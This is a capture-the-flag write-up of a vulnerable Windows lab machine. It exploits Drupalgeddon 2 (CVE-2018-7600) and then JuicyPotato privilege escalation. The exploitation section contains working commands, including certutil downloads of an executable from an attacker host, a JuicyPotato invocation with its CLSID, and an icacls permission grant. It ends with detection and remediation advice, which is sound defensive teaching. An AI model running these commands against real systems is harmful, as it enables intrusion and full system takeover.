Overview
Bastard is a medium-rated Windows machine running Drupal 7.54 on IIS 7.5 with PHP 5.3.28, all hosted on Windows Server 2008 R2 x64. The system has zero hotfixes installed. Every component is well beyond end-of-life. The Drupal installation is vulnerable to Drupalgeddon 2 (CVE-2018-7600), a critical unauthenticated RCE flaw in the Form API that poisons the form cache and triggers PHP code execution through an AJAX endpoint.
Initial access yields a shell as nt authority\iusr, the IIS application pool
identity. Privilege escalation abuses SeImpersonatePrivilege (granted to IIS
workers by default) via JuicyPotato, which coerces COM/DCOM authentication to
capture a SYSTEM token. After testing five CLSIDs to find one valid for Server
2008 R2, JuicyPotato executes an icacls command granting Everyone access
to the Administrator’s desktop.
The box demonstrates why Windows IIS service accounts with
SeImpersonatePrivilege are functionally equivalent to SYSTEM when an attacker
has code execution.
Reconnaissance
A service scan identifies three open ports:
nmap -sC -sV -T4 10.129.15.124
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | Microsoft IIS 7.5 | Drupal 7, 36 robots.txt entries |
| 135 | MSRPC | Microsoft Windows RPC | Standard Windows RPC |
| 49154 | MSRPC | Microsoft Windows RPC | High-port RPC endpoint |
The X-Generator header identifies Drupal 7. Two X-Powered-By headers are
present: PHP/5.3.28 and ASP.NET. PHP runs as a FastCGI handler under IIS;
the ASP.NET header is emitted by the IIS pipeline regardless of the actual
handler.
Drupal version identification
curl -s http://10.129.15.124/CHANGELOG.txt | head -3
# Drupal 7.54, 2017-02-01
Drupal 7.54 was released on 1 February 2017. The Drupalgeddon 2 patch (SA-CORE-2018-002) shipped in Drupal 7.58 on 28 March 2018. This installation is four minor versions behind the fix.
Attack Surface Analysis
Drupal Form API (CVE-2018-7600)
Drupal 7.54 is squarely within the Drupalgeddon 2 vulnerability window.
The REST services module is also enabled at /rest, accepting
application/vnd.php.serialized as a content type, which opens a secondary
attack path via PHP object injection. However, Drupalgeddon 2 provides
unauthenticated RCE with higher reliability, so I prioritise it.
| Attribute | Value |
|---|---|
| CVE | CVE-2018-7600 |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-20 (Improper Input Validation) |
| Root cause | Unsanitised render array properties in Form API cache |
| Affected | Drupal 7.x before 7.58, 8.x before 8.5.1 |
| Fixed in | Drupal 7.58 / 8.5.1 |
| MITRE ATT&CK | T1190 (Exploit Public-Facing Application) |
Vulnerability Analysis
Drupalgeddon 2 is a two-step exploit. First, a POST request to the password
reset form (/user/password) injects malicious properties into the Drupal
form cache. The attacker poisons the renderable array with #post_render
set to a PHP callback function (e.g. passthru) and #markup set to the
command to execute. Second, a POST to the AJAX endpoint
(/file/ajax/name/#value/{form_build_id}) triggers rendering of the poisoned
cache entry, invoking the callback with the attacker’s payload.
The form_build_id from the first response links the two requests. The
entire chain is unauthenticated because the injection occurs in the password
reset form, which is publicly accessible.
The fix in Drupal 7.58 restricts which properties can appear in renderable
arrays submitted through form input, preventing the injection of #post_render
and related callback properties.
Exploitation
Step 1: Drupalgeddon 2 RCE
I use the pimps/CVE-2018-7600 PoC script, which automates both steps of the exploit:
python3 drupa7-CVE-2018-7600.py http://10.129.15.124 -c "whoami"
# [*] Poisoning form and targeting /user/password
# [*] Result: nt authority\iusr
Code execution as nt authority\iusr. The user flag is readable because
iusr has traversal privileges to the dimitris user profile:
python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
-c "type C:\Users\dimitris\Desktop\user.txt"
# [redacted]
Step 2: Privilege enumeration
python3 drupa7-CVE-2018-7600.py http://10.129.15.124 -c "whoami /priv"
# SeAssignPrimaryTokenPrivilege Disabled
# SeIncreaseQuotaPrivilege Disabled
# SeChangeNotifyPrivilege Enabled
# SeImpersonatePrivilege Enabled
# SeCreateGlobalPrivilege Enabled
SeImpersonatePrivilege is the critical finding. This privilege allows the
process to impersonate any client that authenticates to it, which is the
prerequisite for JuicyPotato.
Step 3: JuicyPotato privilege escalation
JuicyPotato abuses SeImpersonatePrivilege by creating a local COM server,
coercing a privileged COM/DCOM service to authenticate to it, and capturing the
SYSTEM token. The CLSID parameter selects which COM object to coerce. Different
Windows versions require different CLSIDs.
I upload JuicyPotato and a batch file using certutil:
python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
-c "certutil -urlcache -split -f http://10.10.14.5/jp.exe C:\Windows\Temp\jp.exe"
# CertUtil: -URLCache command completed successfully.
python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
-c "certutil -urlcache -split -f http://10.10.14.5/cmd.bat C:\Windows\Temp\cmd.bat"
The batch file modifies NTFS permissions rather than spawning a reverse shell.
The SYSTEM process created by JuicyPotato runs in a different Windows session
where outbound connections are often blocked by firewall policy. Using icacls
is a local-only operation:
icacls C:\Users\Administrator\Desktop /grant Everyone:F /T
Four CLSIDs returned COM recv failed error 10038 (WSAENOTSOCK: the CLSID does
not correspond to a valid COM object on this OS version). The fifth succeeded:
python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
-c "C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\Temp\cmd.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}"
# [+] CreateProcessWithTokenW OK
After icacls grants Everyone full control, the root flag is readable from
the existing iusr shell:
python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
-c "type C:\Users\Administrator\Desktop\root.txt"
# [redacted]
Post-Exploitation
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"
# OS Name: Microsoft Windows Server 2008 R2 Datacenter
# OS Version: 6.1.7600 N/A Build 7600
# Hotfix(s): N/A
Build 7600 with zero hotfixes: the original RTM release with no service packs or updates. This system has never been patched. Every kernel exploit from MS15-051 through MS16-032 would work as alternative escalation paths.
The technology stack tells the same story. PHP 5.3.28 reached end-of-life in August 2014. Drupal 7 reached end-of-life in January 2025. Windows Server 2008 R2 extended support ended in January 2020. IIS 7.5 shipped with Server 2008 R2 and receives no further updates.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Reconnaissance | T1595.002 | CHANGELOG.txt access in IIS logs (version fingerprinting) |
| Initial access | T1190 | IDS rule matching render array properties in POST to /user/password |
| Execution | T1059.003 | cmd.exe spawned as child of w3wp.exe (IIS worker) |
| Defence evasion | T1218.003 | certutil used for file download (LOLBin) |
| Privilege escalation | T1134.001 | Anomalous COM/DCOM authentication from IIS worker process |
Network-level: Drupalgeddon 2 has well-known IDS signatures. The poisoned
POST request to /user/password contains distinctive Drupal render array
properties (#post_render, #markup, #type) that no legitimate form
submission would include. Snort rule SID 46316 detects this pattern.
Host-level: certutil -urlcache is a known Living Off The Land Binary
(LOLBin) technique. Sysmon Event ID 1 (ProcessCreate) with a command line
containing certutil and -urlcache is a high-confidence indicator. The
subsequent execution of JuicyPotato as a child of w3wp.exe is equally
anomalous.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade Drupal to current stable (10.x) | High | Critical |
| P0 | Upgrade OS to Windows Server 2022 | High | Critical |
| P0 | Apply all outstanding hotfixes | Medium | Critical |
| P1 | Upgrade PHP to 8.x | Medium | High |
| P1 | Run IIS application pool as a custom account without SeImpersonatePrivilege | Medium | High |
| P2 | Restrict certutil execution via AppLocker | Low | Medium |
| P2 | Disable the REST services module if not required | Low | Medium |
| P3 | Remove CHANGELOG.txt from the web root | Low | Low |
The fundamental problem is not Drupalgeddon 2; it is the complete absence of patching. A system with zero hotfixes on a decade-old OS is indefensible. Patching Drupal alone does not remediate the risk when the OS kernel, PHP runtime, and IIS web server all contain known exploitable vulnerabilities. The correct action is decommissioning or full rebuild on current-generation software.
Key Takeaways
-
SeImpersonatePrivilege on Windows IIS is functionally SYSTEM. Any attacker with code execution as an IIS application pool identity can escalate to SYSTEM via JuicyPotato (or its successors: PrintSpoofer, GodPotato). The mitigation is to run application pools under custom accounts that explicitly lack this privilege, but this breaks many IIS features.
-
CLSID selection is OS-version-specific. JuicyPotato requires a valid COM CLSID for the target Windows version. Blindly trying CLSIDs wastes time. The ohpe/juicy-potato repository maintains known-good CLSIDs per OS. This is a practical detail that CTF writeups often gloss over.
-
Two-step exploits require understanding, not just execution. Drupalgeddon 2 is frequently reduced to “run the script, get a shell.” Understanding the cache poisoning mechanism matters because manual exploitation may be needed when the PoC fails (as it did initially in this engagement with a custom Python script that did not handle the two-step process correctly).